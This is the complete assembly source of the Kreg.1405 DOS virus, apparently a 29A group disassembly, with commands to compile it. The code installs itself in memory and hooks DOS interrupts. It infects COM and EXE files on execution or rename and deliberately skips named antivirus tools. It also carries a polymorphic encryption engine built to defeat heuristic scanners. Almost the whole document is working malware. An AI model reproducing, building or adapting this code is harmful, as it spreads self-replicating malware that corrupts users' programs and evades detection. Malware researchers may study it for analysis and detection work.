comment * Kreg.1405 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ Kreg.1405 is a 1405 bytes resident appending COM and EXE virus. Infects files at load and execute program and rename file. Kreg.1405 has en error handler, anti-heuristics, retro structures and is polymorphic in file using its internal polymorphic engine. To compile Kreg.1405 with Turbo Assembler v 5.0 type: TASM /M KREG1405.ASM TLINK /x KREG1405.OBJ EXE2BIN KREG1405.EXE KREG1405.COM * .model tiny .code .186 code_begin: call delta_offset delta_offset: pop si ; Load SI from stack sub si,(delta_offset-code_begin) mov ah,62h ; Get current PSP address int 21h mov ds,bx ; DS = segment of PSP for current ... mov es,bx ; ES = segment of PSP for current ... mov ax,0aaaah ; Kreg.1405 function int 21h cmp ax,0deadh ; Already resident? je virus_exit ; Equal? Jump to virus_exit pusha ; Save all registers at stack push ds es ; Save segments at stack mov ax,es ; AX = segment of PSP for current ... dec ax ; AX = segment of current Memory C... mov es,ax ; ES = " " " " " mov bx,03h ; BX = offset of size of memory bl... sub word ptr es:[bx],(data_end-code_begin+0fh)/10h dec bx ; BX = offset of segment of first ... mov ax,[bx] ; AX = segment of first byte beyon... sub ax,(data_end-code_begin+0fh)/10h mov [bx],ax ; Store segment of first byte beyo... mov es,ax ; ES = segment of virus push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor di,di ; Zero DI mov cx,(code_end-code_begin) rep movsb ; Move virus to memory push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ax,3510h ; Get interrupt vector 10h int 21h mov word ptr [int10_addr],bx mov word ptr [int10_addr+02h],es mov ax,2510h ; Set interrupt vector 10h lea dx,int10_virus ; DX = offset of int10_virus int 21h mov ax,3521h ; Get interrupt vector 10h int 21h mov word ptr [int21_addr],bx mov word ptr [int21_addr+02h],es xor ax,ax ; Zero AX mov es,ax ; ES = BIOS data area lea si,int21_virus ; SI = offset of int21_virus mov di,4d0h ; DI = offset of reserved memory i... push di ; Save DI at stack mov cx,(int21_end-int21_begin) rep movsb ; Move interrupt 21h handler to BI... mov ds,ax ; DS = BIOS data area pop dx ; Load DX from stack (DI) mov ax,2521h ; Set interrupt vector 21h int 21h pop es ds ; Load segments from stack popa ; Load all registers from stack virus_exit: add si,offset file_header cmp cs:[si],'ZM' ; EXE executable? je vir_exe_exit ; Equal? Jump to vir_exe_exit mov di,100h ; DI = offset of beginning of code push di ; Save DI at stack mov cx,18h ; Move twenty-four bytes rep movsb ; Move the original code to beginning xor ax,ax ; Zero AX ret ; Return vir_exe_exit: mov cx,ds ; CX = segment of PSP for current ... add cx,10h ; CX = segment of beginning of code mov dx,cx ; DX = segment of beginning of code add dx,cs:[si+0eh] ; Add initial SS relative to start... cli ; Clear interrupt-enable flag mov ss,dx ; SS = initial SS relative to star... mov sp,cs:[si+10h] ; SP = initial SP sti ; Set interrupt-enable flag add cx,cs:[si+16h] ; CX = initial CS relative to star... push cx ; Save CX at stack push cs:[si+14h] ; Save initial IP at stack xor ax,ax ; Save AX at stack retf ; Return far int21_call proc near ; Call interrupt 21h push bx ; Save BX at stack mov bl,al ; BL = function number mov bh,00h ; Zero BH shl bx,01h ; Multply function number with two mov ax,cs:[bx+function_tbl] pop bx ; Load BX from stack int 21h ret ; Return endp int21_begin: int21_virus proc near ; Interrupt 21h of Kreg.1405 cmp ax,0aaaah ; Kreg.1405 function? jne not_kreg_fun ; Not equal? Jump to not_kreg_fun mov ax,0deadh ; Already resident iret ; Interrupt return not_kreg_fun: pusha ; Save all registers at stack push ds es ; Save segments at stack sub ah,30h ; Subtract thirty from function nu... cmp ax,(4b00h-3000h) ; Load and execute program? je infect_file ; Equal? Jump to infect_file cmp ah,(56h-30h) ; Rename file? jne int21_exit ; Not equal? Jump to int21_exit infect_file: mov ax,0deadh ; Kreg.1405 function int 10h int21_exit: pop es ds ; Load segments from stack popa ; Load all registers from stack cli ; Clear interrupt-enable flag db 11101010b ; JMP imm32 (opcode 0eah) int21_addr dd ? ; Address of interrupt 21h endp int21_end: int10_virus proc near ; Interrupt 10h of Kreg.1405 cmp ax,0deadh ; Kreg.1405 function? jne int10_exit_ ; Not equal? Jump to int10_exit_ call exam_name jc int10_exit ; Error? Jump to int10_exit call infect_file_ int10_exit: iret ; Interrupt return int10_exit_: db 11101010b ; JMP imm32 (opcode 0eah) int10_addr dd ? ; Address of interrupt 10h endp exam_name proc near ; Examine filename mov si,dx ; SI = offset of filename find_dot: lodsb ; AL = one byte of filename cmp al,00h ; End of filename? je examine_exit ; Equal? Jump to examine_exit cmp al,'.' ; Dot? jne find_dot ; Not equal? Jump to find_dot mov ax,[si-04h] ; AX = two bytes of filename and ax,1101111111011111b cmp ax,'NA' ; COMMAND.COM je examine_exit ; Equal? Jump to examine_exit cmp ax,'SE' ; Aidstest? je examine_exit ; Equal? Jump to examine_exit cmp ax,'EW' ; Dr. Web? je examine_exit ; Equal? Jump to examine_exit cmp ax,'NI' ; ADinf? je examine_exit ; Equal? Jump to examine_exit lodsw ; AX = two bytes of file extension and ax,1101111111011111b cmp ax,'OC' ; COM executable? jne exam_exe_ext ; Not equal? Jump to exam_exe_ext lodsb ; AL = one byte of file extension and al,11011111b ; Upcase character cmp al,'M' ; COM executable? jne examine_exit ; Not equal? Jump to examine_exit clc ; Clear carry flag ret ; Return exam_exe_ext: cmp ax,'XE' ; EXE executable? jne examine_exit ; Not equal? Jump to examine_exit lodsb ; AL = one byte of file extension and al,11011111b ; Upcase character cmp al,'E' ; EXE executable? jne examine_exit ; Not equal? Jump to examine_exit clc ; Clear carry flag ret ; Return examine_exit: stc ; Set carry flag ret ; Return endp infect_file_ proc near ; Infect COM or EXE file push dx ds ; Save registers at stack mov al,00h ; Get interrupt vector 24h call int21_call mov word ptr cs:[int24_addr],bx mov word ptr cs:[int24_addr+02h],es mov al,01h ; Set interrupt vector 24h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,int24_virus ; DX = offset of int24_virus call int21_call pop ds dx ; Load registers from stack push dx ds ; Save registers at stack mov al,02h ; Get file attributes call int21_call mov cs:[file_attr],cx ; Store file attributes jc infect_exit ; Error? Jump to infect_exit mov al,03h ; Set file attributes xor cx,cx ; CX = new files attributes call int21_call jc infect_exit ; Error? Jump to infect_exit mov al,04h ; Open file (read/write) call int21_call mov bx,ax ; BX = file handle jnc get_file_inf ; No error? Jump to get_file_inf infect_exit: jmp infect_exit_ get_file_inf: mov al,05h ; Get file's date and time push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call int21_call mov [file_time],cx ; Store file's time mov [file_date],dx ; Store file's date jc set_file_inf ; Error? Jump to set_file_inf mov al,06h ; Read from file mov cx,18h ; Read twenty-four bytes lea dx,file_header ; DX = offset of file_header call int21_call jc set_file_inf ; Error? Jump to set_file_inf mov al,07h ; Set current file position (EOF) xor cx,cx ; CX:DX = offset from origin of ne... xor dx,dx ; " " " " " " " call int21_call jc set_file_inf ; Error? Jump to set_file_inf cmp word ptr [file_header+12h],0deadh je set_file_inf ; Already infected? Jump to set_fi... cmp word ptr [file_header],'ZM' je infect_exe ; EXE executable? Jump to infect_exe cmp dx,00h ; Filesize too large? jne set_file_inf ; Not equal? Jump to set_file_inf cmp ax,0ffffh-(code_end-code_begin)-200h jae set_file_inf ; Filesize too large? Jump set_fil... jmp infect_com set_file_inf: jmp set_file_in infect_exe: push ax dx ; Save registers at stack mov cx,200h ; Divide by pages div cx ; AX:DX = filesize in pages or dx,dx ; No bytes in last 512-bytes page ... je dont_inc_pag ; Equal? Jump to dont_inc_pag inc ax ; Increase total number of 512-byt... dont_inc_pag: cmp word ptr [file_header+04h],ax jne test_overlay ; Internal overlay? Jump to test_o... cmp word ptr [file_header+02h],dx test_overlay: pop dx ax ; Load registers from stack jne set_file_inf ; Internal overlay? Jump to set_in... infect_com: push ax dx ; Save registers at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov dx,(decryp_end-decryp_begin) lea si,encryptor ; SI = offset of encryptor lea di,decryptor ; SI = offset of decryptor call kreg_poly lea si,code_begin ; SI = offset of code_begin lea di,buffer ; DI = offset of buffer push bx cx ; Save registers at stack mov cx,(code_end-code_begin) mov [encrypt_len],cx ; Store length of encrypted code call encryptor pop cx bx ; Load registers from stack mov ax,cx ; AX = length of decryptor add ax,(code_end-code_begin) mov [virus_length],ax ; Store length of virus mov al,08h ; Write to file lea dx,decryptor ; DX = offset of decryptor call int21_call jc set_file_in_ ; Error? Jump to set_file_in_ mov al,08h ; Write to file mov cx,(code_end-code_begin) lea dx,buffer ; DX = offset of buffer call int21_call set_file_in_: pop dx ax ; Load registers from stack jc set_file_in ; Error? Jump to set_file_in cmp word ptr [file_header],'ZM' je infect_exe_ ; Equal? Jump to infect_exe sub ax,03h ; AX = offset of virus within infe... mov [file_header],11101001b mov [virus_offset],ax ; Store offset of virus within inf... jmp write_header infect_exe_: push ax dx ; Save registers at stack add ax,[virus_length] ; Add length of virus to filesize adc dx,00h ; " " " " " " mov cx,200h ; Divide by pages div cx ; DX:AX = filesize in pages inc ax ; Increase total number of 512-byt... mov word ptr [file_header+04h],ax mov word ptr [file_header+02h],dx pop dx ax ; Load registers from stack mov si,word ptr [file_header+08h] mov cl,04h ; Multiply by paragraphs shl si,cl ; SI = headersize sub ax,si ; Subtract headersize from filesize sbb dx,00h ; " " " " mov cx,10h ; Divide by paragraphs div cx ; DX:AX = filesize in paragraphs mov word ptr [file_header+16h],ax mov word ptr [file_header+14h],dx mov word ptr [file_header+0eh],ax mov word ptr [file_header+10h],1000h write_header: mov word ptr [file_header+12h],0deadh mov al,09h ; Set current file position (SOF) xor cx,cx ; CX:DX = offset from origin of ne... xor dx,dx ; " " " " " " " call int21_call jc set_file_in ; Error? Jump to set_file_in mov al,08h ; Write to file mov cx,18h ; Read twenty-four bytes lea dx,file_header ; DX = offset of file_header call int21_call set_file_in: mov al,0ah ; Set file's date and time mov cx,[file_time] ; CX = new time mov dx,[file_date] ; DX = new date call int21_call mov al,0bh ; Close file call int21_call infect_exit_: mov cx,[file_attr] ; CX = new file attributes pop ds dx ; Load registers from stack mov ax,03h ; Set file attributes call int21_call mov ax,01h ; Set interrupt vector 24h mov dx,word ptr cs:[int24_addr+02h] mov ds,dx ; DS = segment of interrupt mov dx,word ptr cs:[int24_addr] call int21_call ret ; Return endp int24_virus proc near ; Interrupt 24h of Kreg.1405 mov al,03h ; AL = fail system call in progress iret ; Interrupt return! endp virus_offset equ word ptr $+01h ; Offset of virus within infected ... file_header db 18h dup(?) ; File header function_tbl dw 3524h ; Get interrupt vector 24h dw 2524h ; Set interrupt vector 24h dw 4300h ; Get file attributes dw 4301h ; Set file attributes dw 3d02h ; Open file (read/write) dw 5700h ; Get file's date and time dw 3f00h ; Read from file dw 4202h ; Set current file position (EOF) dw 4000h ; Write to file dw 4200h ; Set current file position (SOF) dw 5701h ; Set file's date and time dw 3e00h ; Close file db '[ Gremlin 1.04 / AVL ]' file_attr dw ? ; File attributes file_time dw ? ; File's time file_date dw ? ; File's date int24_addr dd ? ; Address of interrupt 24h virus_length dw ? ; Length of virus ; The below text is in russian and can be translated as following: ; [As you see mr. Daniloff, fooling your heuristic scanner is very easy...] db '[ Š ª ¢¨¤¨â¥, £-­ „ ­¨«®¢, ®¡¬ ­ãâì ‚ è í¢à¨áâ¨ç¥áª¨©  ­ «¨§ â®à ­¥ â ª 㦠¨ âà㤭®... ]' comment * Kreg.1405 (polymorphic engine) ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ Calling parameters: DX Maximum length of decryptor DI Offset of decryptor SI Offset of encryptor Return parameters: CX Length of decryptor Index registers: BX; DI; SI Count registers: AX; BX; CX; DX; DI; SI; BP Registers holding two byts of encrypted code: AX; BX; CX; DX; DI; SI; BP Decryptor: CALL imm16 POP reg16 ADD reg16,imm16 (Offset of encrypted code) MOV reg16,imm16 (Length of encrypted code) (PUSH CS) (POP DS); (POP ES) MOV reg16,(CS:); (DS:); (ES:); [reg16] XOR reg16,imm16 ADD reg16,imm16 SUB reg16,imm16 NOT reg16 NEG reg16 ROL reg16,imm8 ROR reg16,imm8 NOP; INC reg16 ... MOV (CS:); (DS:); (ES:); [reg16],reg16 INC reg16 (Increase index register) INC reg16 ( " " " ) DEC reg16 (Decrease count register) JZ imm8 (Offset of encrypted code) DEC reg16 (Decrease count register) JZ imm8 (Offset of encrypted code) JMP imm16 (Offset of MOV reg16,(CS:); (DS:); (ES:); [reg16]) Minimum length of decryptor: User defined - 03h. Maximum length of decryptor: User defined. Length of Kreg.1405 (polymorphic engine): 523 bytes. * idx_reg_num db ? ; Index register number idx_reg_num_ db ? ; Index register number seg_override db ? ; Segment override coun_reg_num db ? ; Count register number code_reg_num db ? ; Register holding two bytes of en... decrypt_len equ word ptr $ ; Length of decryptor mov_r16__off dw ? ; Offset of MOV reg16,(CS:;DS:;ES:... call_imm16 db 11101000b,00h,00h ; CALL imm16 (opcode 0e8h,00h,00h) pop_reg16 db 01011000b ; POP reg16 (opcode 58h) add_r16_i16 db 10000001b,11000000b ; ADD reg16,imm16 (opcode 81h,0c0...) db 00h,00h ; " " " " mov_r16_i16 db 10111000b,00h,00h ; MOV reg16,imm16 (opcode 0b8h,00...) idx_reg_tbl db 00000011b ; Base register (BX) db 00000110b ; Source index (SI) db 00000111b ; Destination index (DI) idx_reg_tbl_ db 00000111b ; Base register (BX) db 00000100b ; Source index (SI) db 00000101b ; Destination index (DI) seg_over_tbl: segcs ; Code segment as source segment segds ; Data segment as source segment seges ; Extra segment as source segment table_begin: cryptor_tbl: db 02h ; 16-bit immediate db 10000001b,11110000b ; XOR reg16,imm16 db 10000001b,11110000b ; " " db 02h ; 16-bit immediate db 10000001b,11000000b ; ADD reg16,imm16 db 10000001b,11101000b ; SUB reg16,imm16 db 02h ; 16-bit immediate db 10000001b,11101000b ; SUB reg16,imm16 db 10000001b,11000000b ; ADD reg16,imm16 db 00h ; No immediate db 11110111b,11010000b ; NOT reg16 db 11110111b,11010000b ; " " db 00h ; No immediate db 11110111b,11011000b ; NEG reg16 db 11110111b,11011000b ; " " db 01h ; 8-bit immediate db 11000001b,11000000b ; ROL reg16,imm8 db 11000001b,11001000b ; ROR reg16,imm8 db 01h ; 8-bit immediate db 11000001b,11001000b ; ROR reg16,imm8 db 11000001b,11000000b ; ROL reg16,imm8 db 00h ; No immediate db 10010000b,01000000b ; NOP; INC reg16 db 10010000b,01001000b ; NOP; DEC reg16 db 00h ; No immediate db 10010000b,01000000b ; NOP; INC reg16 db 10010000b,01001000b ; NOP; DEC reg16 table_end: kreg_poly proc near ; KREG.1405 (polymorphic engine) pusha ; Save all registers at stack push ds es ; Save segments at stack push ds ; Save DS at stack pop es ; Load ES from stack (DS) push di ; Save DI at stack mov di,si ; DI = offset of encryptor mov al,10010000b ; NOP (opcode 90h) mov cx,dx ; CX = maximum length of decryptor rep stosb ; Store NOPs pop di ; Load DI from stack push si ; Save SI at stack mov bp,di ; BP = offset of decryptor call init_random call init_poly push si ; Save SI at stack lea si,call_imm16 ; SI = offset of call_imm16 movsw ; Move CALL imm16 to decryptor buffer movsb ; " " " " " " lodsb ; AL = one byte of pop_reg16 add al,[idx_reg_num] ; Add index register number to POP... stosb ; Store POP reg16 lodsw ; AX = two bytes of add_r16_i16 add ah,[idx_reg_num] ; Add index register number to ADD... stosw ; Store ADD reg16,imm16 movsw ; Move 16-bit immediate lodsw ; AX = two bytes of mov_r16_i16 add al,[coun_reg_num] ; Add count register number to MOV... stosw ; Store MOV reg16,imm16 movsb ; Move low-order byte of 16-bit im... pop si ; Load SI from stack sub dx,0bh ; Subtract eleven from maximum len... mov ah,[seg_override] ; AH = segment override cmp ah,00101110b ; CS: (opcode 2eh) je sto_mov_r16_ ; Equal? Jump to sto_mov_r16_ mov al,00001110b ; PUSH CS (opcode 0eh) cmp ah,00111110b ; DS: (opcode 3eh) jne pop_es ; Not equal? Jump to pop_es mov ah,00011111b ; POP DS (opcode 1fh) jmp sto_push_pop pop_es: mov ah,00000111b ; POP ES (opcode 07h) sto_push_pop: stosw ; Store PUSH CS; POP reg16 dec dx ; Decrease maximum length of decry... dec dx ; " " " " " sto_mov_r16_: mov [mov_r16__off],di ; Store offset of MOV reg16,(CS:;D... mov ax,dx ; AX = maximum length of decryptor sub ax,0eh ; Subtract fourteen from maximum l... shr ax,01h ; Divide maximum length of decrypt... mov dx,ax ; DX = maximum length of decryptor... call rnd_in_range add dx,ax ; Add random number within range t... mov ah,10001011b ; MOV reg16,[reg16] (opcode 8bh) mov al,[seg_override] ; AL = segment override stosw ; Store MOV reg16,(CS:;DS:;ES:)[re... mov al,[idx_reg_num_] ; AL = index register number mov ah,[code_reg_num] ; AH = register holding two bytes ... shl ah,03h ; AH = " " " " " add al,ah ; Add register holding two bytes o... stosb ; Store MOV reg16,(CS:;DS:;ES:)[re... sub dx,03h ; Subtract three from maximum leng... mov al,10101101b ; LODSW (opcode 0adh) mov [si],al ; Store LODSW add si,dx ; Add maximum length of decryptor ... inc si ; Increase maximum length of decry... push si ; Save SI at stack xor ch,ch ; Zero CH gen_cryptor: mov ax,(table_end-table_begin)/05h call rnd_in_range lea bx,cryptor_tbl ; BX = offset of cryptor_tbl add bx,ax ; Add random number within nine to... shl ax,02 ; Multiply random numbe within nin... add bx,ax ; Add random number within nine to... mov cl,[bx] ; CL = length of immediate inc cx ; CX = length of cryptor instruction inc cx ; CX = " " " " cmp cx,dx ; End of decryptor? ja sto_mov_r16 ; Above? Jump to sto_mov_r16 sub si,cx ; Add length of cryptor instructio... mov ax,[bx+01h] ; AX = decryption instruction add ah,[code_reg_num] ; Add register holding two bytes o... stosw ; Store decryption instruction mov ax,[bx+03h] ; AX = encryption instruction mov [si],ax ; Store encryption instruction inc si ; Increase offset within encryptor inc si ; " " " " dec dx ; Decrease maximum length of decry... dec dx ; " " " " " mov bl,cl ; BL = length of cryptor instruction sub bl,02h ; BL = length of immediate sto_imm_loop: jz dont_sto_imm ; Zero? Jump to dont_sto_imm call rnd_in_range stosb ; Store immediate mov [si],al ; " " inc si ; Increase offset within encryptor dec dx ; Decrease maximum length of decry... dec bl ; Decrease length of immediate jmp sto_imm_loop dont_sto_imm: sub si,cx ; Subtract length of cryptor instr... jmp gen_cryptor sto_mov_r16: mov ah,10001001b ; MOV [reg16],reg16 (opcode 89h) mov al,[seg_override] ; AL = segment override stosw ; Store MOV (CS:;DS:;ES:)[reg16],r... mov al,[idx_reg_num_] ; AL = index register number mov ah,[code_reg_num] ; AH = register holding two bytes ... shl ah,03h ; AH = " " " " " add al,ah ; Add register holding two bytes o... stosb ; Store MOV (CS:;DS:;ES:)[reg16],r... pop si ; Load SI from stack mov al,01000000b ; INC reg16 (opcode 40h) add al,[idx_reg_num] ; Add index register number to POP... mov ah,al ; INC reg16; INC reg16 stosw ; Store INC reg16; INC reg16 mov al,01001000b ; DEC reg16 (opcode 48h) add al,[coun_reg_num] ; Add count register number to DEC... stosb ; Store DEC reg16 push ax ; Save AX at stack mov ax,0000011001110100b stosw ; Store JZ $+06h pop ax ; Load AX from stack stosb ; Store DEC reg16 mov ax,0000001101110100b stosw ; Store JZ $+03h mov al,11101001b ; JMP imm16 (opcode 0e9h) stosb ; Store JMP imm16 mov ax,[mov_r16__off] ; AX = offset of MOV reg16,(CS:;DS... sub ax,di ; Subtract offset encrypted code f... dec ax ; Decrease 16-bit immediate dec ax ; " " " stosw ; Store 16-bit immediate xchg si,di ; DI = offset within encryptor mov ax,0100100110101011b stosw ; Store STOSW; DEC CX mov ax,0000011001110100b stosw ; Store JZ $+06h mov ax,0111010001001001b stosw ; Store DEC CX; JZ imm8 mov ax,1110100100000011b stosw ; Store 8-bit immediate; JMP imm16 pop ax ; Load AX from stack dec ax ; Decrease 16-bit immediate dec ax ; " " " sub ax,di ; Subtract offset plain code from ... stosw ; Store 16-bit immediate mov al,11000011b ; RET (opcode 0c3h) stosb ; Store RET sub si,bp ; Subtract offset of decryptor fro... mov [decrypt_len],si ; Store length of decryptor sub si,03h ; Subtract three from length of de... mov ds:[bp+06h],si ; Store offset of encrypted code pop es ds ; Load segments from stack popa ; Load all registers from stack mov cx,[decrypt_len] ; CX = length of decryptor ret ; Return endp init_random proc near ; Initialize random number generator push ax es ; Save registers at stack xor ax,ax ; Zero AX mov es,ax ; ES = BIOS data area mov ax,es:[46ch] ; AX = low-order word of timer tic... mov [random_num],ax ; Store 16-bit random number pop es ax ; Load registers from stack ret ; Return endp init_poly proc near ; Initialize KREG.1405 (polymorph...) push ax bx ; Save registers at stack mov ax,03h ; Get random number withn three call rnd_in_range mov bx,ax ; BX = random number within three mov al,[bx+idx_reg_tbl] ; AL = index register number mov [idx_reg_num],al ; Store index register number mov al,[bx+idx_reg_tbl_] mov [idx_reg_num_],al ; Store index register number mov ax,03h ; Get random number withn three call rnd_in_range mov bx,ax ; BX = random number within three mov al,byte ptr [bx+seg_over_tbl] mov [seg_override],al ; Store segment override get_code_reg: call get_rnd_num and al,00000111b ; AL = random number within seven cmp al,[idx_reg_num] ; Register holding two bytes of e...? je get_code_reg ; Equal? Jump to get_code_reg cmp al,00000100b ; Stack pointer (SP)? je get_code_reg ; Equal? Jump to get_code_reg mov [code_reg_num],al ; Store register holding two bytes... get_coun_reg: call get_rnd_num and al,00000111b ; AL = random number within seven cmp al,[idx_reg_num] ; Count register equal to index r...? je get_coun_reg ; Equal? Jump to get_coun_reg cmp al,00000100b ; Stack pointer (SP)? je get_coun_reg ; Equal? Jump to get_coun_reg cmp al,[code_reg_num] ; Count register equal to registe...? je get_coun_reg ; Equal? Jump to get_coun_reg mov [coun_reg_num],al ; Store count register number pop bx ax ; Load registers from stack ret ; Return endp rnd_in_range proc near ; Random number within range push dx ; Save DX at stack mov dx,ax ; DX = number within call get_rnd_num mul dx ; DX = random number within range mov ax,dx ; AX = " " " " pop dx ; Load DX from stack ret ; Return endp get_rnd_num proc near ; Get 16-bit random number random_num equ word ptr $+01h ; 16-bit random number mov ax,00h ; AX = 16-bit random number push bx dx ; Save registers at stack mov bx,4e51h ; Multiply with twenty thousand an... mul bx ; AX = 16-bit random number pop dx bx ; Load registers from stack add ax,15bh ; Add three hundred and fourty-sev... mov [random_num],ax ; Store 16-bit random number ret ; Return endp db '[ KREG 1.01 / AVL ]' code_end: encryptor: db 100h dup(?) encrypt_len equ word ptr $+09h ; Length of encrypted code decryp_begin: decryptor: db 100h dup(?) decryp_end: buffer db (code_end-code_begin) dup(?) data_end: end code_begin